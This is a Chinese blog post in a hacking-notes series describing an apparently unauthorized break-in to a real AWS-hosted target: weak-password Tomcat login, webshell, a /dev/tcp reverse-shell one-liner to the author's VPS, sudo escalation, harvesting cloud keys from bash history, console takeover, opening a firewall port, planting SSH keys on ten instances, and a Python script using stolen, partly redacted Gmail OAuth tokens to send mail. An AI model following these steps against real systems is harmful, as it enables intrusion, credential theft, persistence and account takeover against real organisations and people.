记一次从外网打通AWS云

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)------了解成因和手工注入方法
  6. SQL注入(2)------各种注入
  7. SQL注入(3)------SQLMAP
  8. SQL注入(4)------实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)------一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)------各种木马的生成及简单的免杀
  23. MSF(3)------apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php
  26. 使用FofaSpider和Python联动批量挖洞
  27. 记一次简单的对盗号网站的渗透
  28. 记一次幸运的漏洞挖掘

前言

前段时间在Fofa上爬了一堆外国的IP打nday。当时打到了一个Tomcat的美国服务器的弱口令,在上面部署了war包后就去忙别的事了。最近恰好在打hvv,每天盯着态感上十分的安静,连正常业务都没有,再加上懂的都懂的原因,不好去挖什么地方的src。因此重新把之前的马拿出来,仔细研究了一番,发现了很多可以利用的点。其中一些东西还是有学习价值的,刚好很久没有写博客了,这段时间也学了很多东西。遂成此文。

由于全都是真实环境,因此敏感信息全部厚码处理。请遵守法律和行政法规,造成的任何不良后果与本文无关。

从外网到Root

首先访问目标URL,发现是一个Tomcat的登录界面。

使用弱口令 tomcat /secret 成功登录manager,上传war包后用godzilla连接,成功获取webshell。

在shell中执行指令,得知当前用户为root

这边其实我是改了权限的。最开始连接上时只是个ec2-user的权限,这就是当时我不去深入的原因。这里我另找了一台服务器,演示我当时是如何提权的。

提权

这其实是个很简单的方法,但是在实战中成功率还蛮高的。

首先拿到一个webshell,为低权限用户。

使用指令反弹得到交互shell,这个反弹指令适用于一些常规bash用不了的情况。

bash 复制代码
bash -c 'exec 5<>/dev/tcp/IP/PORT;script -qc /bin/bash /dev/null <&5 >&5 2>&5'

在VPS得到回连后,直接用sudo su 尝试提到root。很多时候低权限用户没有密码或者权限配置错误,就可以直接跳到高权限用户。如图

在实际渗透时,可以先试试这个方法,说不定就提上了。


之后通过写入ssh公钥成功连接ssh。

后渗透

拿下root后进行常规信息收集,这里建议查看 .bash_history ,其中很可能潜藏敏感信息。主要路径就是 /root/.bash_history/home/<user>/.bash_history,视具体情况而定。

在这里,我查看了 /home/ec2-user/.bash_history

在history中,看到了如下内容:

啊!这难道?金色传说!

使用dark-kingA云资产管理工具,直接通过KEYID和ACCESSKEY添加存储桶。

得到9个存储桶。

在云服务工具中添加资产。

之后通过工具接管云控制台,得到一个URL。

把此URL复制到浏览器打开,成功拿下云控制台。

byd还挺有钱。

开端口

在控制台中找到EC2 ,点击实例,看到当前有10个实例。

由于我用microsocks在最开始控制的服务器上搭建了端口为1080的socks5服务端,因此在这里给端口放行一下。

找到我建立服务的实例,点击,选择安全 ,并进入安全组策略。

在入站规则中添加1080端口,这里可以给IP做限制,但我没做。

成功开放1080端口,用ncat测试,可以正常连接。

上服

继续看别的实例。

例如我们要想控制第二个openvpn的实例,怎么办呢?你去问AI,AI会给你提供一堆方法,这些方法不仅会影响正常业务,而且用不了。如果你也像我一样是高权限用户,可以直接这样做。

选中实例,在右上角点击连接。

然后直接用root用户连接。如果root不行,就用默认的ec2-user连接,再去用我之前说的方法提权就好了。

成功获得root shell。

通过写公钥来连接ssh。

写公钥

首先找到自己的公钥内容,不知道怎么找的去百度。Windows一般在

C:/Users/<用户名>/.ssh/id_rsa.pub

中。

使用base64加密公钥。

然后在控制台中用如下命令写入authorized_keys文件中

bash 复制代码
echo <加密后的内容> | base64 -d >> /root/.ssh/authorized_keys

成功写入后用ssh连接。

以此类推,得到十个ssh。

信息收集

对这10台服务器进行信息收集。

接管Gmail

在机器PFNZ-AI-Machine-1中,发现了如下内容:

复制代码
{
	"token": "xxxxogN-NVC_wYqzDYc-NvwDnRLxClgmaZNeXtXS0QjRcHcHDjpgJoaCgYKAVMSARYSFQHGX2MiwWU4f1Jxa0qD_6DeX6d_Og0178",
	"refresh_token": "xxxx7necT5zXEo_ybpkyesyZlBYhrL6w6h_2qg",
	"token_uri": "https://oauth2.googleapis.com/token",
	"client_id": "xxo66d9rorj1vajqtha9.apps.googleusercontent.com",
	"client_secret": "xxxxxZDKIA",
	"scopes": ["https://www.googleapis.com/auth/gmail.modify"],
	"universe_domain": "googleapis.com",
	"account": "",
	"expiry": "2025-07-21T08:00:04.516393Z"
}

通过这些信息,可以直接接管Gmail。

例如通过此Python程序发送邮件。

python 复制代码
import base64
from email.mime.text import MIMEText
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
from googleapiclient.discovery import build

token_info = {
    "token": "",
    "refresh_token": "",
    "token_uri": "https://oauth2.googleapis.com/token",
    "client_id": "",
    "client_secret": "",
    "scopes": ["https://www.googleapis.com/auth/gmail.modify"]
}

# ✅ 创建 Credentials 对象
creds = Credentials.from_authorized_user_info(info=token_info)

# ✅ 如果 token 过期,自动刷新(需 refresh_token)
if creds.expired and creds.refresh_token:
    creds.refresh(Request())

# ✅ 构造 Gmail API 服务
service = build('gmail', 'v1', credentials=creds)

# ✅ 构造邮件
def create_message(sender, to, subject, message_text):
    message = MIMEText(message_text, 'plain')
    message['to'] = to
    message['from'] = sender
    message['subject'] = subject
    raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
    return {'raw': raw}

# ✅ 发送邮件
def send_message(service, user_id, message):
    sent = service.users().messages().send(userId=user_id, body=message).execute()
    print(f"✅ Message sent! ID: {sent['id']}")

# ✅ 主程序
if __name__ == '__main__':
    msg = create_message('me', 目标邮箱, 'Hello', 'hello')
    send_message(service, 'me', msg)

成功接收到邮件。

结语

后续如果再打出有用的东西再回来更新

相关推荐
DEMI08155 小时前
AWS Certified Cloud Practitioner 认证考试总结
云计算·aws
儿歌八万首7 小时前
鸿蒙ArkTS多环境API管理与安全签名方案实践
安全·harmonyos·arkts·签名
渗透测试老鸟-九青7 小时前
汽车安全 | 汽车安全入门
安全·汽车·网络安全学习路线·车联网安全·黑客入门
科技云报道7 小时前
IDC权威认可:瑞数信息双项入选《中国大模型安全保护市场概览》
安全
武汉格发Gofartlic7 小时前
Fluent许可与网络安全策略
大数据·开发语言·网络·人工智能·安全·web安全·数据分析
一只脑洞君11 小时前
tcp的三次握手与四次挥手
java·网络·tcp/ip
第十六年盛夏.11 小时前
【网络安全】DDOS攻击
安全·web安全·ddos
两圆相切12 小时前
等保2.0详解:筑牢数字时代安全基石
安全
hrrrrb12 小时前
【密码学】2. 古典密码
网络·安全·密码学
云祺vinchin13 小时前
云祺容灾备份系统Hadoop备份与恢复实操手册
运维·网络·安全·数据安全